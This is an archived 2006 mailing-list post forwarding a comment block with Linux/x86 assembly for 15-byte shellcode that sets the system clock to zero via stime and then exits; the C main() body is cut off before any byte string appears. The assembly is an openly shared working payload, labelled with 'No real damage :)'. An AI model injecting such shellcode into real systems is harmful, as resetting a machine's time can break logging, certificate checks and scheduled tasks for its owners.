[Code-Crunchers] 15 byte shellcode to set system time to 0 and exit

Gadi Evron ge at linuxbox.org
Fri Nov 17 04:55:56 CST 2006


/* By Kris Katterjohn 11/14/2006
 *
 * 15 byte shellcode to set system time to 0 and exit. No real damage :)
 *
 * exit() code is the last 5 bytes (0x6a - 0x80)
 *
 * for Linux/x86
 *
 *
 *
 * section .text
 *
 *	global _start
 *
 * _start:
 *
 * ; stime([0])
 *
 *	push byte 25
 *	pop eax
 *	xor ecx, ecx
 *	push ecx
 *	mov ebx, esp
 *	int 0x80
 *
 * ; exit()
 *	push byte 1
 *	pop eax
 *	int 0x80
 */

main()
{




More information about the Code-Crunchers mailing list